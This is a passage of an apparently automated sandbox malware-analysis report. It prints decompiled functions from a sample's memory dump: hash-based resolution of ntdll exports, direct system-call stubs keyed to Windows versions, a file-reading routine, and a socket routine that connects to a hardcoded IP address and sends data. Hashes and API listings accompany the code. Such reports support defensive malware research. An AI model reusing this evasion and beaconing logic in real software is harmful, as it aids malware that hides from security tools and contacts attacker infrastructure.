						if( *((intOrPtr*)(_t120 + (_t97 << 1) - 0x4c))() == 0xffffffff) {
							L10:
							Sleep(0x3e8);
							continue;
						}
						_push(0);
						_push( *0x2b8508 & 0x0000ffff);
						_push( *0x2b850c);
						_push(_v12);
						_t101 = 4;
						if( *((intOrPtr*)(_t120 + _t101 * 3 - 0x4c))() == 0xffffffff) {
							goto L10;
						}
						_push(0);
						_push(_a8 + 1);
						_push(_a4);
						_push(_v12);
						_t106 = 4;
						if( *((intOrPtr*)(_t120 + _t106 * 3 - 0x4c))() == 0xffffffff) {
							goto L10;
						}
						_t116 =  *0x2b850c; // 0xe1bb20
						E002B351E(_t116);
						_v5 = 1;
						break;
					}
					_t93 = 4;
					 *((intOrPtr*)(_t120 + _t93 * 5 - 0x4c))(_v12);
					goto L12;
				}
				return 0;
			}

0x002b500b
0x002b5012
0x002b5019
0x002b5020
0x002b5027
0x002b502e
0x002b5035
0x002b503c
0x002b5043
0x002b504a
0x002b504e
0x002b5052
0x002b5056
0x002b505a
0x002b505e
0x002b5062
0x002b5066
0x002b506a
0x002b506e
0x002b5072
0x002b5076
0x002b507d
0x002b5080
0x002b508b
0x002b5094
0x002b5098
0x002b509c
0x002b50a0
0x002b50a4
0x002b50a8
0x002b50ac
0x002b50b0
0x002b50b4
0x002b50b8
0x002b50bc
0x002b50c0
0x002b50c4
0x002b50c8
0x002b50cc
0x002b50d0
0x002b50da
0x002b50db
0x002b50e2
0x002b50ec
0x002b51d0
0x00000000
0x002b51d0
0x002b50f4
0x002b50f5
0x002b5102
0x002b5111
0x002b5119
0x002b5120
0x002b51c6
0x002b51c8
0x002b51cc
0x00000000
0x002b51cc
0x002b5129
0x002b512c
0x002b5135
0x002b5138
0x002b513e
0x002b5146
0x002b514b
0x002b514c
0x002b5151
0x002b515b
0x002b51ac
0x002b51b1
0x00000000
0x002b51b1
0x002b515d
0x002b5166
0x002b5167
0x002b516d
0x002b5172
0x002b517d
0x00000000
0x00000000
0x002b517f
0x002b5185
0x002b5186
0x002b5189
0x002b518e
0x002b5199
0x00000000
0x00000000
0x002b519b
0x002b51a1
0x002b51a6
0x00000000
0x002b51a6
0x002b51be
0x002b51c2
0x00000000
0x002b51c2
0x00000000

APIs

Part of subcall function 002B439A: GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,002B44D8), ref: 002B43AC
Part of subcall function 002B439A: LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,002B44D8), ref: 002B43B9

WSAStartup.WS2_32(00000202,?), ref: 002B50E6
socket.WS2_32(?,00000001,00000000), ref: 002B5115
connect.WS2_32(000000FF,?,00000010), ref: 002B5154
send.WS2_32(000000FF,00000000,00000000), ref: 002B5176
send.WS2_32(000000FF,000000FF,00000035,00000000), ref: 002B5192
closesocket.WS2_32(000000FF), ref: 002B51C2

Strings

89.238.170.240, xrefs: 002B5129
ws2_32.dll, xrefs: 002B507D

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: send$HandleLibraryLoadModuleStartupclosesocketconnectsocket
String ID: 89.238.170.240$ws2_32.dll
API String ID: 653765639-3342816196
Opcode ID: 771f093c375ae5d4c34d10d3c050b41d4460e173627a460d1c7ec2c95d106548
Instruction ID: a5c95ede5a8616f4fc3c573e656f8f2942d5a2b3c3634ce6a80b851a17a186ef
Opcode Fuzzy Hash: 771f093c375ae5d4c34d10d3c050b41d4460e173627a460d1c7ec2c95d106548
Instruction Fuzzy Hash: B851E430C58289EEEB12CBE8D8097EDBFB89F15354F144189E660BE1C2C7B5074ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 002B4186 Relevance: 15.2, APIs: 8, Strings: 2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E002B4186(void* __eflags, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				char _v36;
				char _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				char* _v60;
				signed int _v64;
				char _v68;
				intOrPtr _v84;
				char _v92;
				signed int _t68;
				intOrPtr _t74;
				signed int _t77;
				signed int _t83;
				signed int _t89;
				intOrPtr _t94;
				intOrPtr _t102;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr _t114;

				_v20 = _v20 & 0x00000000;
				if((E002B402B(_a4) & 0x000000ff) != 1) {
					L9:
					return _v20;
				}
				_v16 = E002B34F0(0x208);
				_t125 = _v16;
				if(_v16 == 0) {
					L8:
					E002B351E(_v16);
					goto L9;
				}
				E002B35E8(_t125, _v16, L"\\??\\%s", _a4);
				E002B4010( &_v36, _v16, _t125);
				_v12 = _v12 & 0x00000000;
				E002B355E( &_v28, 0, 8);
				_v68 = 0x18;
				_v64 = _v64 & 0x00000000;
				_v56 = 0x40;
				_v60 =  &_v36;
				_v52 = _v52 & 0x00000000;
				_v48 = _v48 & 0x00000000;
				EnterCriticalSection(0x2b84d4);
				_t68 = 2;
				_t23 = 0x2b84c0 + _t68 * 0; // 0xf0006
				_t102 =  *0x2b80b4; // 0xcb0000
				 *(_t102 + 1) =  *_t23 & 0x0000ffff;
				_t74 =  *0x2b80b4( &_v12, 0x100001,  &_v68,  &_v28, 0, 0x80, 7, 1, 0x60, 0, 0); // executed
				_v8 = _t74;
				LeaveCriticalSection(0x2b84d4);
				if(_v8 < 0) {
					goto L8;
				}
				E002B355E( &_v92, 0, 0x18);
				E002B355E( &_v28, 0, 8);
				EnterCriticalSection(0x2b84d4);
				_t77 = 2;
				_t32 = 0x2b84c0 + _t77 * 3; // 0xf0006
				_t107 =  *0x2b80b4; // 0xcb0000
				 *(_t107 + 1) =  *_t32 & 0x0000ffff;
				_v8 =  *0x2b80b4(_v12,  &_v28,  &_v92, 0x18, 5);
				LeaveCriticalSection(0x2b84d4);
				if(_v8 >= 0) {
					_v20 = E002B34F0(_v84 + 2);
					if(_v20 != 0) {
						asm("xorps xmm0, xmm0");
						asm("movlpd [ebp-0x28], xmm0");
						E002B355E( &_v28, 0, 8);
						EnterCriticalSection(0x2b84d4);
						_t89 = 2;
						_t43 = (_t89 << 0) + 0x2b84c0; // 0xf0006
						_t114 =  *0x2b80b4; // 0xcb0000
						 *(_t114 + 1) =  *_t43 & 0x0000ffff;
						_t94 =  *0x2b80b4(_v12, 0, 0, 0,  &_v28, _v20, _v84,  &_v44, 0); // executed
						_v8 = _t94;
						LeaveCriticalSection(0x2b84d4);
						if(_v8 >= 0) {
							 *_a8 = _v24;
						}
					}
				}
				EnterCriticalSection(0x2b84d4);
				_t83 = 2;
				_t54 = (_t83 << 1) + 0x2b84c0; // 0xf0006
				_t108 =  *0x2b80b4; // 0xcb0000
				 *(_t108 + 1) =  *_t54 & 0x0000ffff;
				 *0x2b80b4(_v12); // executed
				LeaveCriticalSection(0x2b84d4);
				goto L8;
			}

0x002b418c
0x002b419e
0x002b4393
0x002b4399
0x002b4399
0x002b41ae
0x002b41b1
0x002b41b5
0x002b438b
0x002b438e
0x00000000
0x002b438e
0x002b41c6
0x002b41d4
0x002b41d9
0x002b41e4
0x002b41ea
0x002b41f1
0x002b41f5
0x002b41ff
0x002b4202
0x002b4206
0x002b420f
0x002b4217
0x002b421b
0x002b4222
0x002b4228
0x002b424d
0x002b4253
0x002b425b
0x002b4265
0x00000000
0x00000000
0x002b4272
0x002b427f
0x002b428a
0x002b4292
0x002b4296
0x002b429d
0x002b42a3
0x002b42bb
0x002b42c3
0x002b42cd
0x002b42dd
0x002b42e4
0x002b42e6
0x002b42e9
0x002b42f5
0x002b4300
0x002b4308
0x002b430c
0x002b4313
0x002b4319
0x002b4335
0x002b433b
0x002b4343
0x002b434d
0x002b4355
0x002b4355
0x002b434d
0x002b42e4
0x002b435c
0x002b4364
0x002b4367
0x002b436e
0x002b4374
0x002b437a
0x002b4385
0x00000000

APIs

Part of subcall function 002B402B: GetFileAttributesW.KERNELBASE(00E17728,002B1035,00E17728), ref: 002B402C

Part of subcall function 002B34F0: EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
Part of subcall function 002B34F0: GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
Part of subcall function 002B34F0: RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
Part of subcall function 002B34F0: LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

EnterCriticalSection.KERNEL32(002B84D4), ref: 002B420F
LeaveCriticalSection.KERNEL32(002B84D4), ref: 002B425B
EnterCriticalSection.KERNEL32(002B84D4), ref: 002B428A
LeaveCriticalSection.KERNEL32(002B84D4), ref: 002B42C3
EnterCriticalSection.KERNEL32(002B84D4), ref: 002B4300
LeaveCriticalSection.KERNEL32(002B84D4), ref: 002B4343
EnterCriticalSection.KERNEL32(002B84D4), ref: 002B435C
LeaveCriticalSection.KERNEL32(002B84D4), ref: 002B4385

Strings

@, xrefs: 002B41F5
\??\%s, xrefs: 002B41BE

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Heap$AllocateAttributesFileProcess
String ID: @$\??\%s
API String ID: 4065952465-3277924498
Opcode ID: 998780666f662d58fe2b2e28e71462568b1a9e5dbfd3e546323a96de9452400c
Instruction ID: 55d9773dcf43b95e9b3c5903cc7173111e7ce2f6f3726c15e446372be9302c52
Opcode Fuzzy Hash: 998780666f662d58fe2b2e28e71462568b1a9e5dbfd3e546323a96de9452400c
Instruction Fuzzy Hash: 5851BE31950209AFEB04EF90EC4ABFDB7B9FB44300F148559F605AA1D1EBB15A95CF50

Uniqueness

Uniqueness Score: -1.00%

Function 002B4511 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 231
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E002B4511(intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				short _v12;
				char _v16;
				void* _v20;
				char _v24;
				signed int _t23;
				void* _t25;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				signed char _t40;
				intOrPtr _t42;
				short _t43;
				short _t45;
				short _t46;
				short _t48;
				short _t50;
				short _t52;
				short _t53;
				short _t54;
				short _t55;
				short _t56;
				short _t61;
				void* _t62;

				if( *0x2b80b4 != 0) {
					L56:
					_t23 =  *0x2b84c0; // 0x55
					L57:
					return _t23 & 0xffffff00 | _t23 != 0x00000000;
				}
				_t25 = VirtualAlloc(0, 0x20, 0x3000, 0x40); // executed
				 *0x2b80b4 = _t25;
				if(_t25 == 0) {
					goto L56;
				}
				_v16 = 0x6c64746e;
				_t3 =  &_v16; // 0x6c64746e
				_v12 = 0x6c;
				_v24 = 0xd09c750;
				_v20 = 0;
				if(E002B439A(_t3,  &_v24) != 1) {
					return 0;
				}
				_t62 =  *0x2b80b4; // 0xcb0000
				E002B3533(_t62, _v24, 0x1e);
				_t40 = 0;
				while( *((char*)(_t62 + (_t40 & 0x000000ff))) != 0xc2) {
					_t40 = _t40 + 1;
					if(_t40 < 0x20) {
						continue;
					}
					L8:
					_v8 = 0;
					__imp__IsWow64Process(GetCurrentProcess(),  &_v8);
					E002B4ECE( &_v8, 1);
					_t34 = _a8;
					if(_v8 != 1) {
						if(_t34 != 5) {
							if(_t34 != 6) {
								_t42 = _a16;
								if(_t34 != 0xa) {
									if(_t34 != 0xb) {
										goto L56;
									}
									L47:
									 *0x2b84c0 = 0x8e0178;
									 *0x2b84c6 = 0xbc;
									_t23 = 0x178;
									if(_t42 == 0x3fab || _t42 == 0x42ee || _t42 == 0x4563 || _t42 == 0x47ba || _t42 == 0x47bb) {
										_t43 = 0x18d;
									} else {
										_t43 = 0x18e;
									}
									 *0x2b84c4 = _t43;
									goto L57;
								}
								if(_t42 != 0x2800) {
									if(_t42 != 0x295a) {
										if(_t42 != 0x3839) {
											if(_t42 != 0x3ad7) {
												goto L47;
											}
											_t23 = 0x175;
											 *0x2b84c0 = 0x8d0175;
											 *0x2b84c4 = 0xbb018a;
											goto L57;
										}
										_t23 = 0x172;
										 *0x2b84c0 = 0x8d0172;
										 *0x2b84c4 = 0xba0185;
										goto L57;
									}
									_t23 = 0x170;
									 *0x2b84c0 = 0x8c0170;
									 *0x2b84c4 = 0xb80183;
									goto L57;
								}
								_t23 = 0x16e;
								 *0x2b84c0 = 0x8c016e;
								 *0x2b84c4 = 0xb80180;
								goto L57;
							}
							_t35 = _a12;
							if(_t35 != 0) {
								if(_t35 != 1) {
									if(_t35 != 2) {
										if(_t35 != 3) {
											goto L56;
										}
										_t23 = 0x168;
										 *0x2b84c0 = 0x8a0168;
										 *0x2b84c4 = 0xb60179;
										goto L57;
									}
									_t23 = 0x163;
									 *0x2b84c0 = 0x870163;
									 *0x2b84c4 = 0xb30174;
									goto L57;
								}
								_t23 = 0x42;
								 *0x2b84c2 = 0x111;
								_t45 = 0x32;
								 *0x2b84c4 = _t45;
								_t46 = 0xe7;
								L32:
								 *0x2b84c0 = _t23;
								 *0x2b84c6 = _t46;
								goto L57;
							}
							_t23 = 0x3c;
							 *0x2b84c2 = 0x102;
							_t48 = 0x30;
							 *0x2b84c4 = _t48;
							_t46 = 0xe1;
							goto L32;
						}
						if(_a12 != 1) {
							if(_a12 != 2) {
								goto L56;
							}
							_t23 = 0x27;
							 *0x2b84c2 = 0xbf;
							_t50 = 0x1b;
							 *0x2b84c4 = _t50;
							_t18 = _t23 + 0x77; // 0x9e
							_t46 = _t18;
							goto L32;
						}
						_t23 = 0x25;
						 *0x2b84c2 = 0xb7;
						_t52 = 0x19;
						 *0x2b84c4 = _t52;
						_t46 = _t52 + 0x7e;
						goto L32;
					}
					_t53 = 5;
					if(_t34 != _t53) {
						_t61 = 6;
						if(_t34 != _t61) {
							if(_t34 == 0xa || _t34 == 0xb) {
								_t23 = 0x55;
								_t54 = 0xf;
								 *0x2b84c2 = _t61;
								_push(0x11);
								L11:
								 *0x2b84c4 = _t54;
								_pop(_t46);
								goto L32;
							} else {
								goto L56;
							}
						}
						_t36 = _a12;
						if(_t36 == 0 || _t36 == 1) {
							goto L10;
						} else {
							if(_t36 != 2) {
								if(_t36 != 3) {
									goto L56;
								}
								_t23 = 0x54;
								 *0x2b84c2 = _t53;
								_t54 = 0xe;
								_push(0x10);
								goto L11;
							}
							_t23 = 0x53;
							_t56 = 4;
							 *0x2b84c2 = _t56;
							_t54 = 0xd;
							_push(0xf);
							goto L11;
						}
					}
					L10:
					_t23 = 0x52;
					_t55 = 3;
					 *0x2b84c2 = _t55;
					_t54 = 0xc;
					_push(0xe);
					goto L11;
				}
				 *((char*)(_t62 + (_t40 & 0x000000ff))) = 0xc3;
				goto L8;
			}

0x002b4520
0x002b4856
0x002b4856
0x002b485c
0x00000000
0x002b485f
0x002b4532
0x002b4538
0x002b453f
0x00000000
0x00000000
0x002b4548
0x002b454f
0x002b4552
0x002b4558
0x002b455f
0x002b4569
0x00000000
0x002b4852
0x002b456f
0x002b457c
0x002b4584
0x002b4586
0x002b458f
0x002b4594
0x00000000
0x00000000
0x002b459f
0x002b45a2
0x002b45ad
0x002b45bb
0x002b45c0
0x002b45c6
0x002b4659
0x002b46a9
0x002b4754
0x002b475a
0x002b47f8
0x00000000
0x00000000
0x002b47fa
0x002b47fa
0x002b4809
0x002b4810
0x002b481b
0x002b483d
0x002b484b
0x002b484b
0x002b484b
0x002b4842
0x00000000
0x002b4842
0x002b4766
0x002b478c
0x002b47b2
0x002b47d8
0x00000000
0x00000000
0x002b47da
0x002b47df
0x002b47e9
0x00000000
0x002b47e9
0x002b47b4
0x002b47b9
0x002b47c3
0x00000000
0x002b47c3
0x002b478e
0x002b4793
0x002b479d
0x00000000
0x002b479d
0x002b4768
0x002b476d
0x002b4777
0x00000000
0x002b4777
0x002b46af
0x002b46b4
0x002b46d8
0x002b470d
0x002b4730
0x00000000
0x00000000
0x002b4736
0x002b473b
0x002b4745
0x00000000
0x002b4745
0x002b470f
0x002b4714
0x002b471e
0x00000000
0x002b471e
0x002b46dc
0x002b46e2
0x002b46eb
0x002b46ec
0x002b46f3
0x002b46f8
0x002b46f8
0x002b46fe
0x00000000
0x002b46fe
0x002b46b8
0x002b46be
0x002b46c7
0x002b46c8
0x002b46cf
0x00000000
0x002b46cf
0x002b465e
0x002b4682
0x00000000
0x00000000
0x002b468a
0x002b4690
0x002b4699
0x002b469a
0x002b46a1
0x002b46a1
0x00000000
0x002b46a1
0x002b4662
0x002b4668
0x002b4671
0x002b4672
0x002b4679
0x00000000
0x002b4679
0x002b45ce
0x002b45d1
0x002b45f4
0x002b45f7
0x002b463a
0x002b4647
0x002b464a
0x002b464b
0x002b4652
0x002b45e5
0x002b45e5
0x002b45ec
0x00000000
0x00000000
0x00000000
0x00000000
0x002b463a
0x002b45f9
0x002b45fe
0x00000000
0x002b4604
0x002b4607
0x002b4620
0x00000000
0x00000000
0x002b4628
0x002b462b
0x002b4632
0x002b4633
0x00000000
0x002b4633
0x002b460b
0x002b460e
0x002b4611
0x002b4618
0x002b4619
0x00000000
0x002b4619
0x002b45fe
0x002b45d3
0x002b45d5
0x002b45d8
0x002b45db
0x002b45e2
0x002b45e3
0x00000000
0x002b45e3
0x002b459b
0x00000000

APIs

VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040,?,?,?,?,?,?,002B22B7), ref: 002B4532

Part of subcall function 002B439A: GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,002B44D8), ref: 002B43AC
Part of subcall function 002B439A: LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,002B44D8), ref: 002B43B9

GetCurrentProcess.KERNEL32(002B22B7), ref: 002B45A6
IsWow64Process.KERNEL32(00000000), ref: 002B45AD

Strings

l, xrefs: 002B4552
ntdl, xrefs: 002B454F

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: Process$AllocCurrentHandleLibraryLoadModuleVirtualWow64
String ID: l$ntdl
API String ID: 1207166019-924918826
Opcode ID: d3aeef6b364ef8e65704db4cce2e58b51ea03f479d4703c2890383057655420d
Instruction ID: 8a6c61e4e72e2761976bbb22989a9e277263876bef9019ad332abb6c102cc0e4
Opcode Fuzzy Hash: d3aeef6b364ef8e65704db4cce2e58b51ea03f479d4703c2890383057655420d
Instruction Fuzzy Hash: 8881B03063424296EB24AF54FC997B9337DFB11794F20061AE31D9B2E3DBB48954CB16

Uniqueness

Uniqueness Score: -1.00%

Function 002B34F0 Relevance: 6.0, APIs: 4, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E002B34F0(long __ecx) {
				void* _t2;
				long _t6;

				_t6 = __ecx;
				EnterCriticalSection(0x2b84d4);
				_t2 = RtlAllocateHeap(GetProcessHeap(), 8, _t6); // executed
				LeaveCriticalSection(0x2b84d4);
				return _t2;
			}

0x002b34f7
0x002b34fa
0x002b350a
0x002b3513
0x002b351d

APIs

EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: CriticalHeapSection$AllocateEnterLeaveProcess
String ID:
API String ID: 1367039788-0
Opcode ID: 4d9e5d018f36e1b0473c5a18bad69bf34ad31d7ff8e85189375730ef61bf01f5
Instruction ID: 282f536d5e61c347d27f42d827f5145bbd61f02601ba7e01f3cb12ff7ef01cad
Opcode Fuzzy Hash: 4d9e5d018f36e1b0473c5a18bad69bf34ad31d7ff8e85189375730ef61bf01f5
Instruction Fuzzy Hash: 78D09E3260812067C65037A9BC0C99BBA7CEFD57627090A67B209D3160DAA44C45C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 002B439A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E002B439A(CHAR* __ecx, intOrPtr __edx) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr* _t55;
				intOrPtr _t59;
				void* _t63;
				struct HINSTANCE__* _t67;
				signed int _t70;
				signed char _t72;
				signed int _t78;
				intOrPtr _t87;
				CHAR* _t89;
				intOrPtr _t90;
				struct HINSTANCE__* _t91;

				_t89 = __ecx;
				_v16 = __edx;
				_v5 = 0;
				_t91 = GetModuleHandleA(__ecx);
				if(_t91 != 0) {
					L3:
					if(_t91->i != 0x5a4d) {
						L17:
						return _v5;
					}
					_t55 =  *((intOrPtr*)(_t91 + 0x3c)) + _t91;
					if( *_t55 != 0x4550 || ( *(_t55 + 0x16) & 0x00002000) == 0) {
						goto L17;
					} else {
						_t90 =  *((intOrPtr*)(_t55 + 0x78));
						if(_t90 == 0 ||  *((intOrPtr*)(_t55 + 0x7c)) == 0) {
							goto L17;
						} else {
							_v32 =  *((intOrPtr*)(_t90 + _t91 + 0x1c)) + _t91;
							_t70 = 0;
							_v28 =  *((intOrPtr*)(_t90 + _t91 + 0x24)) + _t91;
							_t59 =  *((intOrPtr*)(_t90 + _t91 + 0x20)) + _t91;
							_v12 = 0;
							_v36 = _t59;
							if( *((intOrPtr*)(_t90 + _t91 + 0x18)) <= 0) {
								L16:
								goto L17;
							} else {
								goto L9;
							}
							do {
								L9:
								_t87 = _v16;
								_t61 =  *((intOrPtr*)(_t59 + _t70 * 4)) + _t91;
								_v20 =  *((intOrPtr*)(_t59 + _t70 * 4)) + _t91;
								_t72 = 0;
								while(1) {
									_t78 = _t72 & 0x000000ff;
									_v24 = _t78;
									if( *((intOrPtr*)(_t87 + _t78 * 4)) == 0) {
										goto L15;
									}
									_t63 = E002B3B10(_v20, E002B360D(_t61));
									_t87 = _v16;
									if(_t63 ==  *((intOrPtr*)(_t87 + _v24 * 4))) {
										_v5 = _v5 + 1;
										 *((intOrPtr*)(_t87 + (_t72 & 0x000000ff) * 4)) =  *((intOrPtr*)(_v32 + ( *(_v28 + _v12 * 2) & 0x0000ffff) * 4)) + _t91;
										goto L15;
									}
									_t61 = _v20;
									_t72 = _t72 + 1;
									if(_t72 < 0xff) {
										continue;
									}
									goto L15;
								}
								L15:
								_t59 = _v36;
								_t70 = _v12 + 1;
								_v12 = _t70;
							} while (_t70 <  *((intOrPtr*)(_t90 + _t91 + 0x18)));
							goto L16;
						}
					}
				}
				_t67 = LoadLibraryA(_t89); // executed
				_t91 = _t67;
				if(_t91 != 0) {
					goto L3;
				}
				return 0;
			}

0x002b43a2
0x002b43a4
0x002b43a8
0x002b43b2
0x002b43b6
0x002b43cc
0x002b43d4
0x002b44a3
0x00000000
0x002b44a3
0x002b43dd
0x002b43e5
0x00000000
0x002b43fa
0x002b43fa
0x002b43ff
0x00000000
0x002b440f
0x002b4419
0x002b4423
0x002b4425
0x002b4428
0x002b442a
0x002b442d
0x002b4434
0x002b44a2
0x00000000
0x00000000
0x00000000
0x00000000
0x002b4436
0x002b4436
0x002b4439
0x002b443c
0x002b443e
0x002b4441
0x002b4443
0x002b4443
0x002b4446
0x002b444d
0x00000000
0x00000000
0x002b445b
0x002b4463
0x002b4469
0x002b448c
0x002b448f
0x00000000
0x002b448f
0x002b446b
0x002b446e
0x002b4473
0x00000000
0x00000000
0x00000000
0x002b4475
0x002b4492
0x002b4495
0x002b4498
0x002b4499
0x002b449c
0x00000000
0x002b4436
0x002b43ff
0x002b43e5
0x002b43b9
0x002b43bf
0x002b43c3
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,002B44D8), ref: 002B43AC
LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,002B44D8), ref: 002B43B9

Strings

ntdl, xrefs: 002B43A7, 002B43B8

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: ntdl
API String ID: 4133054770-3973061744
Opcode ID: 4420ee17a2aa6abb57cb35d8d691a24b13ea4ba5b12ab024df0d60c73c2c25fa
Instruction ID: a831d5059de29a0e3a91bb6581f17d6d73016275c02e418c97b7913782a4571c
Opcode Fuzzy Hash: 4420ee17a2aa6abb57cb35d8d691a24b13ea4ba5b12ab024df0d60c73c2c25fa
Instruction Fuzzy Hash: B131CD75E206169BCB24EF98C4C0BFDB7B4FF88350F14429AD451A7342D774AA61CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 002B402B Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E002B402B(WCHAR* __ecx) {
				signed int _t3;

				_t3 = GetFileAttributesW(__ecx); // executed
				return _t3 & 0xffffff00 | _t3 != 0xffffffff;
			}

0x002b402c
0x002b403a

APIs

GetFileAttributesW.KERNELBASE(00E17728,002B1035,00E17728), ref: 002B402C

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: aa36de40ae65b838047e6e1bd31b0c575f075d43cde8346bfcc5f3d1175d707d
Instruction ID: d03316f9ba6268bc7b38eef1c9f60b8ac5ffff3d6648129a0614a9f4a51157a4
Opcode Fuzzy Hash: aa36de40ae65b838047e6e1bd31b0c575f075d43cde8346bfcc5f3d1175d707d
Instruction Fuzzy Hash: 55A022B80380008BCB2C23302E8E00E32000F8A3F0B220F0EA033E80E0EA28C0C00000

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002B3EAA Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 95%

